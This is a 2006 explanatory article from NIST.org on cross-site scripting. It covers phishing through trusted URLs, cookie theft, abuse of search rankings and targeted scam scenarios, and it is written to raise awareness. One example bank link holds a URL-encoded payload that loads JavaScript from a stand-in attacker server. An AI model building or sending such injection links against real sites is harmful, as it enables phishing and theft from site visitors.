NIST Site Search
Search NIST.GOV
Custom Search
[Official NIST.GOV TIME]
Product Research

Advertise on this site
Cross-Site Scripting (XSS) - The Internet is Definitely a More Dangerous Place
Phishing schemes are about to get a whole lot easier. Targeted attacks are much more likely to work now than ever before. Cookies stored on your computer can be retrieved by bad guys half a world away. Even big search engine companies like Google and Yahoo are shaking in their boots. What happened? The bad guys have discovered Cross-Site Scripting (XSS) and the Internet has sudden become a lot more dangerous. (updated with screen shots)No Longer Supported
Through the magic of Cross-Site Scripting (XSS) even professional security people will have a hard time recognizing a phishing message. XSS also allows for the theft of cookies, and thus personal information and possibly passwords, stored on your computer. XSS may also have a detrimental affect on public search engine results and the trust we put in search results. This and much more is covered in this article. We've tried to boil things down so the subject is easy to understand. At the same time several examples are given showing just how bad XSS can be. Hopefully by the end of this article you'll have a much better understanding of XSS and why its something deserving of your attention.

Originally I had a hard time getting my arms around the whole XSS issue. Though the problem has been around for at least 10 years I, like many security people, didn't pay real close attention until recently. At first I didn't exactly understand the problem. Even after I saw some examples I didn't immediately see where this could cause much harm. Most of the examples simply popped up an alert box. Big deal. But I knew there was more to it because some people I really trust (or at least think are smart) were very worried. According to new figures from Mitre, a U.S. government-funded research organization XSS is now the #1 application vulnerability being reported. It has surpassed buffer overflows, SQL injections, directory traversals, even Denial of Service vulnerabilities. XSS now accounts for 21.5% of all reported vulnerabilities, rising from just 2% in 2001. This trend is certain to continue as more people become aware of the problem and locate vulnerable applications.

So it was time to develop a better understanding of this problem.

Let me tell you, XSS is very dangerous. If you've heard otherwise don't believe it. Unless you think this is some obscure vulnerability that may not affect you let me assure you this vulnerability is very widespread. People I've spoke with have told me that it takes them about 5-10 minutes to find a new vulnerable site. There are groups out there simply trying to see how many they can find and who can find a vulnerability on the most important websites (so far FBI.GOV and NSA.GOV probably top that list!). They have found (and documented) several banks, law firms, charities, insurance companies, dozens of government agencies, etc., with XSS vulnerabilities. They even found a XSS vulnerability on Acunetix's public website. Acunetix makes a security appliance that is designed to find just such web server vulnerabilities (Acunetix fixed the problem quickly but this serves as an example that any web site can have a XSS vulnerability). Probably hundreds of sites have been found so far and the search is really just beginning.

Unlike most vulnerability testing XSS searching does not modify anything on the remote server and does no harm to the server or the server's data. But as not to encourage phishing attacks based off these finding we will not be posting the actual example links or the full vulnerability address. However, we are aware that there are several sites out there that are posting them. Normally the example links posted on these sites are harmless (and therefore should not get anyone in trouble) but that is no guarantee that you won't stumble across some that are harmful. If you don't know what you're doing don't go to these sites or click on untrusted links. We will, on the other hand, be posting the names of those organizations so that they are pressured to fix the problem. Remember this vulnerability doesn't hurt their server, it hurts everyone else. We suspect the people finding these vulnerabilities are not reporting them to the organization that runs the server. There is still a lot of fear out there that someone will try to charge them with hacking. There is a good chance the vulnerability finders would would prevail in court but nobody wants to go through that, let someone else establish the precedence. But that means the web server administrators might be the last to know that their server is vulnerable and possibly be used for phishing attacks. If you operate web server you should pay attention to the “XSS Hall of Shame” here at NIST.org and the various vulnerability discovery sites that prove a server is vulnerable by including example links. Your company or organization may even be sued if someone falls victim to a XSS enabled phishing attack through your web server. Remember it is your server that allowed this to happen and the URL at the top indicates it is your server hosting the credit card entry form. You are probably especially liable if the problem is public knowledge and you've done nothing about it.

Though the vulnerability is on the server the threat is to the general public, the visitors to that server. Normally servers get exploited and the bad guys either deface the site or use it to load them up with exploit code that can do you harm. Either way web admins have something to work with. In this case nothing bad ever happens to the web server, nothing gets modified on the server, server security hasn't even been breached. It was never actually hacked. Let me explain.

To simplify things we'll use a phishing attack as an example. When the bad guy wants your credit card information one of the most common attacks starts with an email message. They send you an email message with links to some server they control. Both the email message and rogue server are made to look very much like a bank or other financial institute. But usually there are signs that something is wrong. The links in the email message point to an IP address or some domain other than the banks, or your web browser shows the odd address after you click on the link. Instead of the normal 'http://www.normalbank.com' you see something like 'http://192.168.243.205' or 'http://normalbank.c8a45.ru'. Clear signs that something isn't right.

But with XSS the links look fine. Even the address in your browser looks fine. There is nothing apparently wrong. But the key word is 'apparently'. Because with XSS the good server is acting much like a money laundering operation, taking the bad address, cleaning it up so it looks legitimate, and sending it to your browser. All without any changes or exploits to the good server. The fault is with some bit of code that was designed to accept user input. Often times a search form on the good server is what is used in a XSS exploit (remember it is you that is being exploited, not the server). The programmers simply didn't take the time time to filter the user input of Javascript or HTML code and they allowed the original form input to be fed back to the person that entered it without modification. The form input doesn't have to be you entering the text in a block it can often be coded right in to a URL, obfuscated so you don't even know its there. Finding these vulnerabilities isn't even thought to be hacking. Again nothing is compromised on the server, it is doing exactly as it was designed to do. It was just designed poorly. Programmers search for code syntax on the Internet all the time, who would have thought that simply searching for it could cause it to activate back on their own computer. That's just dumb. But other input forms are vulnerable as well, not just search forms.

So here is how it works in a XSS attack. The bad guy sends you one of those well crafted email messages made to look like it came from your bank (again we'll use 'Normal Bank' with a domain of 'normalbank.com'). The email you receive comes from survey@normalbank.com and looks just like the one's your bank normally sends you, with privacy notices, copyrights, etc. It claims you will get $50 deposited to your account simply by taking an on-line survey. The links on the page all point to your bank's domain and look perfectly legitimate, something like:
http://www.normalbank.com/survey.php?q=%3C%73%63%72 %69%70%74%20%73%72%63 %3D%2F%2F%62%61%64%67%75%79% 73%69%6E%63%2E%6E%65%74%2F%62%61 %64%73%63%72%69%70 %74%2E%6A%73%3E

We've all seen gobbly gook as part of normal looking URL's and that in and of its self is not a clue that something is wrong. The larger the company the more likely the URL's will contain gobbly gook because it is often used to request documents or information from databases. So you click the link and you are brought to a page that looks exactly like one from www.normalbank.com prompting you to login to take the survey and claim your $50. The URL in your browser's address bar looks perfectly legitimate and matches the URL above. You login, take the survey, and you get a big thank you notice saying that the $50 will be deposited to your account in 3-5 days. YIPPIE!

So what's going on here? Well first of all you're not going to have $50 deposited to your account (dang it!). In fact the next time you check your account you'll probably find it contains a lot less money than it should. Embedded in the URL gobbly gook above is a bit of Javascript that is fed to a survey form entry page on www.normalbank.com. The form handler doesn't know what to do with this code so it simply reflects it back to your browser (as odd as that may seem). From your browser's point of view this Javascript apparently is coming from www.normalbank.com because it was just reflected from there. But this small bit of Javascript just loaded a complete page from the bad guys server and you just sent your banking information to their server. All without any indication that something was wrong.

The same method of Javascript reflection can be used by the bad guys to steal cookies stored on your computer. Cookies are small text files that a web server stores on your computer to save 'state' (where you're at or what you are doing) or information that your browser can use from visit to visit to save you time and effort. For example when you order something from a site they may store a cookie on your computer with your mailing addresses so the next time you order something you don't have to reenter that information. They may also store your credit card information that way. Normally only the site that dropped the cookie can retrieve it. But if the site has a XSS vulnerability the bad guy can send you a URL to retrieve that cookie. The URL first hits the legitimate site (again www.normalbankcom) but contains code to load Javascript from a server they control (www.badguys5486.ru). This Javascript contains code to retrieve the www.normalbank.com cookie from your computer and send it to them. Remember the URL looks like its coming from the good server so your browser dutifully retrieves the cookie as instructed.

So how do you avoid being exploited? Since you would have a very difficult time deciphering the URL (ok kids break out your secret decoder rings to see what you've won) all you can really do is never click on links sent to you via email. You've heard this before but most of you continue to ignore that advice. There are bad people all over the world that are much smarter at this than I am and they can send out millions of phishing spam messages. Occasionally there are bad people at good companies that will sell a company's client email list. You are vulnerable and XSS is far too easy to exploit.

The fix isn't an easy one. Unlike most vulnerabilities this isn't something that can be patched by Microsoft. The cause of the problem isn't the operating system or the web browser. Usually the problem is with custom programming code written by experienced and inexperienced programmers alike. All of these separate vulnerable programs will have to be fixed. In some cases a companies search engine appliance will have to be totally replaced if it is no longer supported by the manufacturer. So this problem won't go away quickly. But companies need to act because their servers are making us more vulnerable.

At the beginning of this article I mentioned that this vulnerability can have a negative affect on public search engine results. XSS has the potential to undermine how search engines rank pages, thus listing garbage sites above valuable one's. How? This is another thing that I didn't immediately understand. How can weirdly crafted URL's trick the likes of Google and Yahoo? Most public search engines rank sites higher if they have a lot of inbound links (links from other sites). Many also rank the quality of those inbound links so a link on a page at Time.com is worth a lot more than a link on some kids free MySpace page. With XSS it is possible to create links that appear to be on a vulnerable site's page. We've seen examples of this where text and links seem to be magically added to web pages. Javascript is widely used to create content on pages (this site uses it in some of the sidebar panels) so the search engines have to understand it. Search Engine Optimization (SEO) is big business, companies pay thousands of dollars to get their sites ranked higher. When you feed Google a XSS URL (like the example above) it thinks all the Javascript content from derived from that URL was meant to be delivered from that page. But with XSS you can use foreign XSS to apparently create links on a good server's site that aren't actually there (remember nothing has actually been changed on the server). So a quick way to boost SCO is to find as many XSS vulnerable sites and through the magic of Javascript create links to your site. Yahoo, MSN, Google, etc. will see all of those links from well respected sites and rank your site higher. Now before you run off and do this let me tell you that these public search engine companies are not stupid. They are very aware of this problem and are actively working on fixes. When they find you doing this you will be blacklisted (eg; you may never show up in search results again). They aren't discussing the situation but it is believed that they can currently detect some XSS URL's but not others. If you search for 'XSS SEO' you'll find lots of discussion on blackhat SEO sites, hacker sites, and a few whitehat security sites. But lets hope the search engines get a handle on this soon or they'll be one more thing on the Internet that we've lost faith in.

Targeted attack scenarios:
  • You get an email message that appears to be from your stock broker suggesting that you buy stock in Acme War Materials immediately. They claim to have inside information that this company is about to win a huge military contract and the stock will double overnight. There is a link in the email to your brokers site for more information. The page even includes a very nice looking PDF file from an Army contracting office that is awarding the contract to them. The informed and suspicious among us would know they wouldn't be allowed to do this. But a certain percentage of people would jump at the chance to double their money. The bad guy will probably win two ways here. The first way is that they'll include a login on their bogus page and will capture your brokerage account info. The second way they'll make money is they'll take out options on that stock ahead of time to sell at a set price. When this stock goes up in value they make money. Our spam honeypot already captures dozens of spam messages per day promoting junk stocks.
  • You get an email message from a U.S. Government agency that works in disaster relief. The message says that though they are currently helping hundreds of displaced children the money allocated by Congress is not nearly enough. The eMail message points to a web page on the goodserver.gov website with pictures of hungry children and a form for you to donate money with your credit card. All addresses and links appear to be from the goodserver.gov website. Again, a lot of people would know that the government wouldn't solicit donations this way. But many people would fall for it. What if the email and web address came from a legitimate save-the-starvingkids.org web address would that make people less suspicious? Timed to occur soon after a disaster the response rate to such an email would be very high. We've had reports of several such vulnerable government sites and charity sites that could be used this way.
  • You get an email from your state's tax office with your full name and street address in the message saying that you have been audited. The link on the page takes you to http://www.state.yy.us (the 'yy' being your states abbreviation and is legitimate). It asks you to login with your name (with the block already filled in for you. How convenient), and the password is your social security number. The page that comes up says that you owe the state a grand total of $23.46 and offers you a chance to avoid a face to face audit by paying up now. You can either mail a check to their legitimate street address or use the oh so convenient credit card form on the page. For less than $25 most people would be glad to avoid a face to face audit and most people would take advantage of the credit card payment method. Now they own your social security number and your credit card number. Your name, address and email address they got from a bad employee at a store you do business with. This is called a targeted attack and is very effective. Yes, we know of several state web sites with XSS vulnerabilities.


Example Screen Shots (URL's removed):

These are all real examples, the only photo editing of the screen captures was to obscure the URL and in one case to remove site identification.

References: (caution: some of these links are to sites frequented by people of questionable ethics and may contain forum posts with links to exploited sites. The people who run these sites try to weed out such material but some might slip through):
  • Ha.ckers.com XSS Articles – This site is run by a guy that goes by the handle 'RSnake'. I've had several interesting email threads with RSnake and I thank him for his assistance. He may be one of the foremost experts on XSS. He also runs sla.ckers.org that lists sites found to be XSS vulnerable and a URL for each to prove it. Little is known about RSnake and even less about the people that visit his web forums so caution is advised (but isn't it always?).
  • Jeremiah Grossman's Blog - Jeremiah Grossman is the founder and Chief Technology Officer of WhiteHat Security. His blog contains a lot of valuable information on XSS. He is often quoted by the mainstream press on various security issues.
  • Wikipedia XSS page – An excellent definition of XSS and includes a couple more scenarios. It also lists several well known real-world XSS attacks, most of which have been fixed.
  • 'How to defeat the new No. 1 security threat: cross-site scripting' from ComputerWorld.com.
  • 'Cross-site scripting the top security risk' from NetworkWorld.com
  • Again the Vulnerability Type Distributions in CVE from Mitre.org showing XSS as the #1 threat for 2006.
  • The UK site 'How to Create' has a very good write up on XSS that will be especially interesting to web developers trying to fix XSS problems.
  • SecurityDocs.com does a good job of describing XSS and includes example code. They also have a chart of characters your site's input forms should be filtering to prevent XSS injection.
  • SEOMoz.org - Shows how to create links on 20 different government web pages using XSS. These links are only seen using the URL provided, they don't actually exist on the government servers. But they can be used to trick search engines for higher rankings (SEO) or to trick the unsuspecting public (by emailing the link). Some of these links have probably been fixed. This is a very dangerous situation.
  • The SPI Laboratory - Common Misconceptions in Web Application Security, Part 1
  • The SPI Laboratory - Common Misconceptions in Web Application Security, Part 2
  • NIST.org's XSS Hall of Shame – Where we list web servers that have XSS vulnerabilities.



Share or Bookmark this Article Using:
| furl | reddit | del.icio.us | magnoliacom | digg | newsvine | stumble it |



Google
WebNIST.org
NIST.govSecurityFocus.com






Posted by NIST.org on Monday 09 October 2006 - 15:35:01 | |printer friendly
Translate to: French German Italian Spanish Portuguese GTM_LAN_DUTCH Russian Chinese Arabic Korean English
Google Ads




Headlines

»NCCoE Speaker Series March 2015
»New NIST Tools to Help Boost Wireless Channel Frequencies and Capacity
»NIST Announces Pilot Grants Competition to Improve Security and Privacy of Online Identity Verification Systems
»Vendors Sought to Develop Model System to Monitor Security of Energy Industry Networked Control Systems
»NIST Releases Update of Industrial Control Systems Security Guide for Final Public Review
»Cybersecurity Summit Technical Workshop
»NIST Forensic Science Standards Committees to Hold First Public Meetings in February 2015
»NIST Security Guide Walks Organizations Through the Mobile App Security Vetting Process
»Open-Source Software for Quantum Information
»NIST Requests Round Two Comments on its Cryptographic Standards Process
»Symposium to Focus on Future of Voting Systems
»NIST Meeting: Cybersecurity Is a Key Ingredient In the Manufacturing Mix
»Future of Voting Systems Symposium II
»Global City Teams Challenge Tech Jam
»NIST Announces Initial Members of Forensic Science Digital Evidence Subcommittee


Date published: not known
Details

»Guidance for Defending Against Destructive Malware
Original release date: March 03, 2015 | Last revised: March 04, 2015 The Information Assuranc ...
»FTC Details the Top 10 Imposter Scams of 2014
Original release date: March 02, 2015 The Federal Trade Commission (FTC) has released an advi ...
»Cisco IPv6 Denial of Service Vulnerability
Original release date: February 25, 2015 Cisco has identified a vulnerability that could allo ...
»Samba Remote Code Execution Vulnerability
Original release date: February 24, 2015 Linux and Unix based operating systems employing Sam ...
»Mozilla Releases Security Updates for Firefox, Firefox ESR, and Thunderbird
Original release date: February 24, 2015 The Mozilla Foundation has released security updates ...
»Lenovo Computers Vulnerable to HTTPS Spoofing
Original release date: February 20, 2015 | Last revised: March 04, 2015 Lenovo consumer perso ...
»IRS Issues Warning for a Scam Targeting Tax Preparers
Original release date: February 18, 2015 The Internal Revenue Service (IRS) has issued a pres ...
»ISC Releases Security Updates for BIND
Original release date: February 18, 2015 The Internet Systems Consortium (ISC) has released s ...
»Microsoft Releases February 2015 Security Bulletin
Original release date: February 10, 2015 Microsoft has released updates to address vulnerabil ...
»Microsoft Releases Critical Security Update for Internet Explorer
Original release date: February 10, 2015 Microsoft has released a critical security update to ...


Date published: not known
Details

»Virus Bulletin seeks hackers, network researchers for VB2015
One week left to submit an abstract for the 25th Virus Bulletin conference. A few weeks ago, I made ...
»Canadian firm fined $1.1m for breaching anti-spam law
First success story for long-awaited CASL. The Canadian Radio-television and Telecommunications Comm ...
»VB2014 paper: Leaving our ZIP undone: how to abuse ZIP to deliver malware apps
Gregory Panakkal explains that there are different ways of looking at APK files - and that sometimes ...
»FREAK attack takes HTTPS connections back to 1990s security
Golden keys from the (first) crypto wars have come back to haunt us. When a web client makes a secur ...
»Paper: Script in a lossy stream
Dénes Óvári explains how to store code in lossily compressed JPEG data. Malformed PDF ...
»TorrentLocker spam has DMARC enabled
Use of email authentication technique unlikely to bring any advantage. Last week, Trend Micro resear ...
»VB2014 paper: Caphaw - the advanced persistent pluginer
Micky Pun and Neo Tan analyse the banking trojan that is best known for spreading through Skype. Sin ...
»M3AAWG releases BCP document on dealing with child sexual abuse material
Subject may make many feel uncomfortable, but it is essential that we know how to deal with it. The ...
»Hacker group takes over Lenovo's DNS
As emails were sent to wrong servers, DNSSEC might be worth looking into. Although, after some initi ...


Date published: not known
Details

»Does Hollywood Have The Answer To The Security Skills Question?
The Oscar-winning biopic about famed WWII cryptanalyst Alan Turing -- the father of modern computing ...
»Efforts To Team Up And Fight Off Hackers Intensify
New intelligence-sharing groups/ISACs emerge, software tools arrive and the White House adds a coord ...
»Anthem Refuses To Let Inspector General Conduct Full Security Audit
Security industry has mixed reactions.
»New Model Uses 'Malicious Language Of The Internet' To Find Threats Fast
OpenDNS's new NLPRank tool may identify malicious domains before they are even put to nefarious use. ...
»Which Apps Should You Secure First? Wrong Question.
Instead, develop security instrumentation capability and stop wasting time on '4 terrible tactics' t ...
»How Secure Are You?
The NIST Cybersecurity Framework can help you understand your risks.
»North Korean Government Not Likely Behind Malware On Nation's Official News Site
Contrary to initial assumptions of North Korean government involvement, watering hole attack appears ...
»Apple Pay Fraud Gives Us A New Reason To Hate Data Breaches And SSNs
There may already be millions of dollars in losses, but you can't blame Apple for this one.
»Securing Our Electric Power Grid Is Critical
Highly complex infrastructure systems require protection against cyberattacks.


Date published: Fri, 06 Mar 2015 14:02:22 EST
Details
Main Menu
· Home
Current Security News
 
SANS Internet Storm Center, InfoCON: green

» Infocon: green

» Cryptowall ,again!, (Fri, Mar 6th)
[06 Mar 2015 04:23am]

» ISC StormCast for Friday, March 6th 2015 http://isc.sans.edu/podcastdetail.html?id=4385, (Fri, Mar 6th)
[05 Mar 2015 08:35pm]

» XML: A New Vector For An Old Trick, (Thu, Mar 5th)
[05 Mar 2015 11:53am]

» Cuckoo Sandbox 1.2 released http://cuckoosandbox.org/2015-03-04-cuckoo-sandbox-12.html, (Thu, Mar 5th)
[05 Mar 2015 10:01am]

» Anybody Doing Anything About ANY Queries?, (Thu, Mar 5th)
[05 Mar 2015 09:26am]

» ISC StormCast for Thursday, March 5th 2015 http://isc.sans.edu/podcastdetail.html?id=4383, (Thu, Mar 5th)
[04 Mar 2015 07:48pm]

» Putty 0.64 released last week (sorry, we missed it) - private-key-not-wiped-2 and diffie-hellman-range-check security issues resolved. See http://www.chiark.greenend.org.uk/~sgtatham/putty/ and http://www.chiark.greenend.org.uk/~sgtatham/putty/changes.ht, (Wed, Mar 4th)
[04 Mar 2015 03:42pm]

» Wireshark 1.10.13 (old stable) and 1.12.4 (stable) released - see https://www.wireshark.org/download.html and https://www.wireshark.org/docs/relnotes/, (Wed, Mar 4th)
[04 Mar 2015 03:39pm]

» March OUCH! Newsletter: Gaming Online Safely & Securely http://www.securingthehuman.org/ouch, (Wed, Mar 4th)
[04 Mar 2015 07:55am]

» No Wireshark? No TCPDump? No Problem!, (Wed, Mar 4th)
[04 Mar 2015 07:16am]

***
CNET News.com

» Microsoft defends opening Hotmail account of blogger in espionage case
[20 Mar 2014 06:47pm]

» Syria's Internet goes dark for several hours
[20 Mar 2014 04:25pm]

» Symantec fires CEO Steve Bennett
[20 Mar 2014 03:07pm]

» Microsoft sniffed blogger's Hotmail account to trace leak
[20 Mar 2014 01:28pm]

» Microsoft sniffed private Hotmail account to trace trade secret leak
[20 Mar 2014 01:28pm]

» IBM's new services zero in on fraud, financial crime
[20 Mar 2014 07:31am]

» Despite assault on privacy, Page sees value in online openness
[19 Mar 2014 08:00pm]

» Hackers transform EA Web page into Apple ID phishing scheme
[19 Mar 2014 05:21pm]

» NSA top lawyer says tech giants knew about data collection
[19 Mar 2014 02:57pm]

» Microsoft touts study showing the cost of pirated software
[19 Mar 2014 06:55am]

» Microsoft touts study showing cost of malware in pirated software
[19 Mar 2014 06:55am]

» How to spy on your lover, the smartphone way
[18 Mar 2014 01:24pm]

» Mt. Gox update lets users see their Bitcoin balances
[18 Mar 2014 06:38am]

» Fake Malaysia Airlines links spread malware
[17 Mar 2014 05:12pm]

» IBM: No, we did not help NSA spy on customers
[17 Mar 2014 01:15pm]

***

***



***


More IT Security
News Feeds
More Sponsors

Advertise on this site
RSS Feeds
Our news can be syndicated by using these rss feeds.
rss1.0
rss2.0
rdf
Symantec News

NIST.org is in no way connected to the U.S. government site NIST.gov

This site is © John Herron, CISSP. All Rights Reserved.

Please visit daily to stay up to date on all your IT Security compliance issues.

http://www.nist.org -
Hosted by BlueHost. We've never had a better hosting company.
{THEMEDISCLAIMER}